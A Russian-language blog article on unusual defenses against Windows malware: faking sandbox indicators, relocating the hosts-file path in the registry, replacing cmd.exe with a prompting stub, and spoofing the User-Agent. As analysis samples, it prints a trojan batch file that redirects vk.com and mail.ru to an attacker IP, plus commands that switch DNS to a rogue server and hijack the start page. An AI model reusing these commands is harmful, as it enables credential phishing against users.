В спорах и обсуждениях того, как защитить свой компьютер от зловредов сломано немало копий и на эту тему можно найти множество книг и статей, причем бОльшая часть из них просто дублируют друг друга, рассказывая одно и тоже разными словами. Тому, кто интересуется информационной безопасностью крайне сложно в таких обсуждениях и статьях встретить о защите что-то новое, чего раньше он не знал или просто не задумывался над этим… но, насколько это ни самонадеянно звучит, я все-таки постараюсь пробудить у вас хоть капельку интереса к этой избитой теме и расскажу именно о неочевидных способах защиты, опустив старческое брюзжание о том, что нужно вовремя обновлять плагины к браузерам, не переходить по левым ссылкам и т.д
В этой небольшой заметке о некоторых интересных особенностях функционирования зловредов я призываю вас отказаться от антивируса и от других способов самозащиты — обновлений, настройки программ и внимательности при переходе по ссылкам и запуске приложений… к слову «призываю» добавляем частицу «НЕ» и все будет на своих местах.
Данную статью стоит рассматривать лишь как необычный обзор общих действий в поведении малвари, против которой мы можем создать защиту, которую стоит рассматривать больше как «о, прикольно, зловред не работает!» и как некую найденную изюминку в вирусных исследованиях.
Начать стоит с того, что самой не очевидной защитой является использование учетной записи пользователя, а не администратора, но т.к на такую жертву способны лишь единицы, а большинство с админскими правами, то и возвращаться к этой неприятной теме больше не будем, но иметь это ввиду все же стоит, вдруг когда-нибудь, да пригодится.
[оффтоп] у меня прям язык чешется прокричать, что плагин java нужно отключать, а включать его только при необходимости, что просмотр pdf в браузере особо не нужен, потому файлы лучше сохранять на хард, а потом смотреть их через какой-то левый, никому не интересный pdf-просмотрщик, что на ХР автозапуск с флешек можно отключить, внеся пару строк в реестра, что ..., но все эти полуочевидные методы защиты известны из без меня, потому прошу всех меня простить: тех, кто ожидал полного разбора защиты ПК за то, что его не будет, а тех кто ожидал только нового — за то, что вспомнил про эту классику. [/оффтоп]
Я тучка, тучка, тучка, а вовсе не медведь
Достаточно многие малвари (хотя скорее их создатели) догадываются о существовании антивирусов, вирусных аналитиков, автоматических систем анализа и о прочей инфраструктуре «корпорации добра» и всячески стараются усложнить им жизнь и продлить жизнь своим поделкам, путем различных технических приемов по усложнению анализа зловреда и наложения на него детекта. Простейшим примером этого может служить криптовка/паковка, которая убивает сразу небольшой табун зайцев:
— если зловред задетектился, то перепаковал его и снова в шоколаде
— дизассемблеры/статические анализатор становятся бесполезными (нужен ручной разбор с отладчиком)
— не каждый эмулятор антивируса раскрутит даже простенький криптор
Пример самый, что ни на есть банальный, призванный показать в какую сторону мыслят хакеры (по правильному их нужно называть преступниками, но такая уж откуда-то традиция пошла подменять понятия...). А мысль следующая (от лица малвари): если я чувствую, что меня исследуют, то зловредствовать не буду, дабы не поняли как я работаю или вообще не поняли мою злую сущность. Свою «подопытность» она определяет так:
1. Обнаружение запуска под онлайн сервисами анализа поведения (Anubis, ThreatExpert, ...)
Производится путем проверки имени компьютера, пользователя, нахождения в адресном пространстве определенных dll-библиотек, ключу
операционной системы.
2. Обнаружение виртуальной машины (VMWare, SandBox)
Путем поиска определенных процессов, ключей реестра, железа, выявление различий с обычной системой разными ассемблерными трюками.
3. Детект отладчика
Проверка определенных байтов в окружении, поиск окна, процесса, драйвера.
4. Обнаружение утилит активного/пассивного мониторинга (RegMon, FileMon, RegShot)
Обычно это реализовано поиском окна по заголовку.
Суть данной антивирусной защиты до безобразия простая — дать малвари понять, что ее исследуют и она сама откажется от своих дурных намерений. Переходя от теории к практике (в разумных пределах) сказать можно следующее (по аналогичным пунктам):
1. Имя юзера и компьютера — sandbox.
2. Процесс в системе: vmware.exe, VMwareTray.exe. Раздел HKLMSYSTEMControlSet001Servicesvmware. Файл vmnet.sys в drivers.
3. Многие детектят драйвер SoftIce — достаточно его запустить, он кинет драйвер и все (да-да, его до сих пор ищут!). Окно с классом «OllyDBG».
4. Окна с заголовком «File Monitor — Sysinternals: www.sysinternals.com», «Registry Monitor — Sysinternals: www.sysinternals.com».
По сути все это просто сделать (если захотеть): при установке системы задать определенные имена, создать пару ключей/файлов, написать тулзу, которая будет держать невидимыми несколько окон с определенными именами, а саму тулзу назвать vmware.exe.
ВКонтакте отключен за неоплату
Вот вам смешно, а нечто подобное на своих экранах могут наблюдать многие наши соотечественники. Огромную популярность имеют троянцы класса Qhost, задача которых тупо отредактировать файл hosts и самоудалиться, таким образом, адресам сайтов популярных социальных сетей (вконтакте, одноклассники) присваивается левый IP-адрес… и человек потеряет свой логин/пароль, да еще и смс отправит…
Несмотря на технологическую простоту создания, данные троянцы приносят большой профит создателям — минимум усилий и в краткосрочном периоде куча вконтакте акков и денег. hosts-файл редактируется или напрямую (открытие->запись) или посредством командных интерпретаторов (создание и запуск bat/vbs) — все очень просто: по некоему фиксированному пути (C:WINDOWSsystem32driversetchosts) лежит файл в конец которого нужно дописать несколько строк — это же второй урок программирования на любом языке после hello world'a! А вот тут-то и есть небольшая хитрость защиты, дело в том, что путь к папке etc указан в реестре и если поменять путь на другую папку (туда положить все файлы из предыдущей, а из etc потереть), то троянец будет несколько удивлен…
Вот этот ключик:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters\DataBasePath
HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpipParameters\DataBasePath (и по другим 00Х ключам соответственно).
Об уровне интеллекта и национальности авторов некоторых троянцев такого класса можно выдвинуть предположение даже без заглядывания в код:
Батники имеют примерно (упрощенно — убрана обфускация, оставлена лишь переменная TANGLE для наглядного понимания как обфусируются bat-файлы ) следующее содержание:
SET TEATEATEA=%windir%System32driversetchosts
SET TANGLE=.co
echo 66.55.140.181 my.mail.ru >> %TEATEATEA%
echo 66.55.140.181 m.my.mail.ru >> %TEATEATEA%
echo 66.55.140.181 vk%TANGLE%m >> %TEATEATEA%
Консоль видишь? Нет? А она есть…
При эксплуатации уязвимости шелл-код очень часто выполняет разные действия, манипулируя cmd.exe, благо запустить его просто (система даже путь сама к нему найдет) и букв в нем мало и в системе он есть, а это для шеллкода очень важно, особенно в свете последних технологий перемены адресов всего что только можно в адресном пространстве.
Потому наша главная задача это подложить хакерам и тут эдакую толстую, подозрительно хрюкающую свинью: можно подменить системный cmd.exe (включая его копии в dllcache, i386, $NtServicePackUninstall$) нашей заглушкой, которая при вызове будет сохранять в буфер переданные параметры и выдавать алерт «продолжать, али нет» и при согласии на то будет с теми же параметрами запускать уже нормальный cmd (предварительно положенный рядом в переименованном виде).
Современная малварь очень многие критичные действия в системе делает посредством запуска cmd.exe с километровой длинны параметрами (например внесение изменений в тот же hosts).
Заглушку можно усложнить добавив ей возможность считывать из конфига на какие процессы не выдавать алерт о запуске, а сразу передавать параметры к новому cmd.
Данная мысль стала оформляться, расти и крепнуть при наблюдении постоянного сближения зловредов и cmd.exe — они прям стали лучшими друзьями и даже больше — он для них является прям Тарасом Бульбой: сам порождает, сам и убивает — при срабатывании эксплоита именно он зачастую запускает загруженную малварь и метод самоудаления тоже реализован через bat-файл, да и во время своей работы вредонос время от времени нагружает командный интерпретатор работой.
Отдельно хочется отметить существование бестелесных звлоредов, у которых и худенького exe-файла в системе нет, а все выполняет java — эксплоит ей указывает, что нужно делать и она послушно исполняет. Вот пример из жизни (данные действия производит процесс java.exe):
cmd.exe /C «ChCp 1251 & netsh interface ip set dns name=»Local Area Connection" source=static addr=5.199.140.178"
reg add «hkcuSoftwareMicrosoftInternet ExplorerMain» /v «Start Page» /t REG_SZ /f /d «шттп://dubsearch.ru»
Для самого себя в исследовательских целях была написана такая утилита, если нужен исходный код или сама тулза, то можно со мной связаться и без проблем его дам, мне не жалко.
В данном пункте стоит отметить еще одну немаловажную деталь, накладывающую жесткие ограничения на использование данного способа защиты на реальной системе: если вы лицензионный пользователь антивируса «Иммунитет», то от нашего левого cmd.exe будет очень много запросов на запуск батников.
Линуксы направо, виндусы налево
Известно, что большинство зловредов приходят к нам на компьютер через окно в интернет — через браузер и его плагины, потому поставив защиту на этом этапе (Файл — Работать автономно… шутка) мы отсечем львиную долю угроз. Для этого вкратце рассмотрим принцип работы эксплоит-пака:
1. Из User Agent'a извлекается информация о браузере и его версии, операционной системе и языке
2. В зависимости от результатов первого пункта (см.ниже) происходит определение какие плагины вообще есть и эксплуатация их уязвимости, либо, если ничего подходящего среди имеющихся эксплоитов нет, не происходит ничего плохого
Разумеется, что есть и исключения, когда независимо ни от чего в код страницы засовываются сразу все эксплоиты (авось хоть что-то сработает), но большинство эксплоит-паков ведут статистику, учет по странам, имеют красивый интерфейс и прочие плюшки и настройки. Посему философия защиты такова: нужно изменить User Agent и указать там то, против чего точно нет в запасе эксплоитов, например Линукс. В идеале, конечно, было бы вообще заменить UserAgent на линуксовский браузер какой-нибудь полностью, но это в теории может повлечь небольшие перекосы страниц на каких-нибудь сайтах, хотя я такого не замечал.
Все популярные связки (та же Blackhole exploit kit) моментом отправят вас общаться с гуглом, даже без попытки опробовать на вашем браузере эксплоит.
Вместо вывода
Статью ни в коей мере не стоит воспринимать как призыв отказываться от антивируса и других разумных средств защиты о которых вы все знаете. Просто теперь в дополнение к ним можно либо использовать озвученные мною методы, либо не использовать, а просто знать о существовании таких препятствий на жизненном пути зловреда.
Автор: priv8v